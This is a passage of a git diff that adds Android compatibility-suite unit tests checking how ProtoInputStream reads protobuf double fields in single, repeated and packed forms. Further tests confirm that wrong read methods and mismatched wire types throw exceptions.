+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+
+}
\ No newline at end of file
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamDoubleTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamDoubleTest.java
new file mode 100644
index 0000000..1efaf32
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamDoubleTest.java
@@ -0,0 +1,727 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.io.IOException;
+
+public class ProtoInputStreamDoubleTest extends TestCase {
+
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_DOUBLE;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+ final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+ final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+ // 10 -> 1
+ (byte) 0x51,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+ // 3 -> -1234.432
+ (byte) 0x19,
+ (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+ (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+ // 4 -> 42.42
+ (byte) 0x21,
+ (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+ (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+ // 5 -> Double.MIN_NORMAL
+ (byte) 0x29,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+ // 6 -> DOUBLE.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 7 -> Double.NEGATIVE_INFINITY
+ (byte) 0x39,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+ // 8 -> Double.NaN
+ (byte) 0x41,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+ // 9 -> Double.POSITIVE_INFINITY
+ (byte) 0x49,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ double[] results = new double[9];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readDouble(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readDouble(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readDouble(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readDouble(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5] = pi.readDouble(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6] = pi.readDouble(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ results[7] = pi.readDouble(FIELD_ID_8);
+ break;
+ case (int) FIELD_ID_9:
+ results[8] = pi.readDouble(FIELD_ID_9);
+ break;
+ case (int) FIELD_ID_10:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+ assertEquals(0.0, results[0]);
+ assertEquals(1.0, results[1]);
+ assertEquals(-1234.432, results[2]);
+ assertEquals(42.42, results[3]);
+ assertEquals(Double.MIN_NORMAL, results[4]);
+ assertEquals(Double.MIN_VALUE, results[5]);
+ assertEquals(Double.NEGATIVE_INFINITY, results[6]);
+ assertEquals(Double.NaN, results[7]);
+ assertEquals(Double.POSITIVE_INFINITY, results[8]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1234.432);
+ testReadCompat(42.42);
+ testReadCompat(Double.MIN_NORMAL);
+ testReadCompat(Double.MIN_VALUE);
+ testReadCompat(Double.NEGATIVE_INFINITY);
+ testReadCompat(Double.NaN);
+ testReadCompat(Double.POSITIVE_INFINITY);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(double val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_DOUBLE;
+ final long FIELD_ID = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.doubleField = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ double result = 0.0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readDouble(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.doubleField, result);
+ }
+
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_DOUBLE;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+ final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+ final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x09,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+ // 3 -> -1234.432
+ (byte) 0x19,
+ (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+ (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+ // 4 -> 42.42
+ (byte) 0x21,
+ (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+ (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+ // 5 -> Double.MIN_NORMAL
+ (byte) 0x29,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+ // 6 -> DOUBLE.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 7 -> Double.NEGATIVE_INFINITY
+ (byte) 0x39,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+ // 8 -> Double.NaN
+ (byte) 0x41,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+ // 9 -> Double.POSITIVE_INFINITY
+ (byte) 0x49,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+ // 10 -> 1
+ (byte) 0x51,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x09,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+ // 3 -> -1234.432
+ (byte) 0x19,
+ (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+ (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+ // 4 -> 42.42
+ (byte) 0x21,
+ (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+ (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+ // 5 -> Double.MIN_NORMAL
+ (byte) 0x29,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+ // 6 -> DOUBLE.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 7 -> Double.NEGATIVE_INFINITY
+ (byte) 0x39,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+ // 8 -> Double.NaN
+ (byte) 0x41,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+ // 9 -> Double.POSITIVE_INFINITY
+ (byte) 0x49,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ double[][] results = new double[9][2];
+ int[] indices = new int[9];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readDouble(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readDouble(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readDouble(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readDouble(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readDouble(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readDouble(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readDouble(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ results[7][indices[7]++] = pi.readDouble(FIELD_ID_8);
+ break;
+ case (int) FIELD_ID_9:
+ results[8][indices[8]++] = pi.readDouble(FIELD_ID_9);
+ break;
+ case (int) FIELD_ID_10:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+ assertEquals(0.0, results[0][0]);
+ assertEquals(0.0, results[0][1]);
+ assertEquals(1.0, results[1][0]);
+ assertEquals(1.0, results[1][1]);
+ assertEquals(-1234.432, results[2][0]);
+ assertEquals(-1234.432, results[2][1]);
+ assertEquals(42.42, results[3][0]);
+ assertEquals(42.42, results[3][1]);
+ assertEquals(Double.MIN_NORMAL, results[4][0]);
+ assertEquals(Double.MIN_NORMAL, results[4][1]);
+ assertEquals(Double.MIN_VALUE, results[5][0]);
+ assertEquals(Double.MIN_VALUE, results[5][1]);
+ assertEquals(Double.NEGATIVE_INFINITY, results[6][0]);
+ assertEquals(Double.NEGATIVE_INFINITY, results[6][1]);
+ assertEquals(Double.NaN, results[7][0]);
+ assertEquals(Double.NaN, results[7][1]);
+ assertEquals(Double.POSITIVE_INFINITY, results[8][0]);
+ assertEquals(Double.POSITIVE_INFINITY, results[8][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new double[0]);
+ testRepeatedCompat(new double[]{0, 1, -1234.432, 42.42,
+ Double.MIN_NORMAL, Double.MIN_VALUE, Double.NEGATIVE_INFINITY, Double.NaN,
+ Double.POSITIVE_INFINITY,
+ });
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(double[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_DOUBLE;
+ final long FIELD_ID = fieldFlags | ((long) 11 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.doubleFieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ double[] result = new double[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readDouble(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.doubleFieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.doubleFieldRepeated[i], result[i]);
+ }
+ }
+
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_DOUBLE;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+ final long FIELD_ID_9 = fieldFlags | ((long) 9 & 0x0ffffffffL);
+ final long FIELD_ID_10 = fieldFlags | ((long) 10 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+ // 10 -> 1
+ (byte) 0x52,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x3f,
+ // 3 -> -1234.432
+ (byte) 0x1a,
+ (byte) 0x10,
+ (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+ (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+ (byte) 0x7d, (byte) 0x3f, (byte) 0x35, (byte) 0x5e,
+ (byte) 0xba, (byte) 0x49, (byte) 0x93, (byte) 0xc0,
+ // 4 -> 42.42
+ (byte) 0x22,
+ (byte) 0x10,
+ (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+ (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+ (byte) 0xf6, (byte) 0x28, (byte) 0x5c, (byte) 0x8f,
+ (byte) 0xc2, (byte) 0x35, (byte) 0x45, (byte) 0x40,
+ // 5 -> Double.MIN_NORMAL
+ (byte) 0x2a,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x10, (byte) 0x00,
+ // 6 -> DOUBLE.MIN_VALUE
+ (byte) 0x32,
+ (byte) 0x10,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 7 -> Double.NEGATIVE_INFINITY
+ (byte) 0x3a,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0xff,
+ // 8 -> Double.NaN
+ (byte) 0x42,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf8, (byte) 0x7f,
+ // 9 -> Double.POSITIVE_INFINITY
+ (byte) 0x4a,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0xf0, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ double[][] results = new double[9][2];
+ int[] indices = new int[9];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readDouble(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readDouble(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readDouble(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readDouble(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readDouble(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readDouble(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readDouble(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ results[7][indices[7]++] = pi.readDouble(FIELD_ID_8);
+ break;
+ case (int) FIELD_ID_9:
+ results[8][indices[8]++] = pi.readDouble(FIELD_ID_9);
+ break;
+ case (int) FIELD_ID_10:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+ assertEquals(0.0, results[0][0]);
+ assertEquals(0.0, results[0][1]);
+ assertEquals(1.0, results[1][0]);
+ assertEquals(1.0, results[1][1]);
+ assertEquals(-1234.432, results[2][0]);
+ assertEquals(-1234.432, results[2][1]);
+ assertEquals(42.42, results[3][0]);
+ assertEquals(42.42, results[3][1]);
+ assertEquals(Double.MIN_NORMAL, results[4][0]);
+ assertEquals(Double.MIN_NORMAL, results[4][1]);
+ assertEquals(Double.MIN_VALUE, results[5][0]);
+ assertEquals(Double.MIN_VALUE, results[5][1]);
+ assertEquals(Double.NEGATIVE_INFINITY, results[6][0]);
+ assertEquals(Double.NEGATIVE_INFINITY, results[6][1]);
+ assertEquals(Double.NaN, results[7][0]);
+ assertEquals(Double.NaN, results[7][1]);
+ assertEquals(Double.POSITIVE_INFINITY, results[8][0]);
+ assertEquals(Double.POSITIVE_INFINITY, results[8][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new double[0]);
+ testPackedCompat(new double[]{0, 1, -1234.432, 42.42,
+ Double.MIN_NORMAL, Double.MIN_VALUE, Double.NEGATIVE_INFINITY, Double.NaN,
+ Double.POSITIVE_INFINITY,
+ });
+ }
+
+ /**
+ * Implementation of testPackedCompat with a given value.
+ */
+ private void testPackedCompat(double[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_DOUBLE;
+ final long FIELD_ID = fieldFlags | ((long) 12 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.doubleFieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ double[] result = new double[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readDouble(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.doubleFieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.doubleFieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_DOUBLE;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x09,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_DOUBLE;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readDouble(FIELD_ID_2);
+ // don't fail, fixed64 is ok
+ break;
+ case (int) FIELD_ID_3:
+ pi.readDouble(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed doubles)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readDouble(FIELD_ID_6);
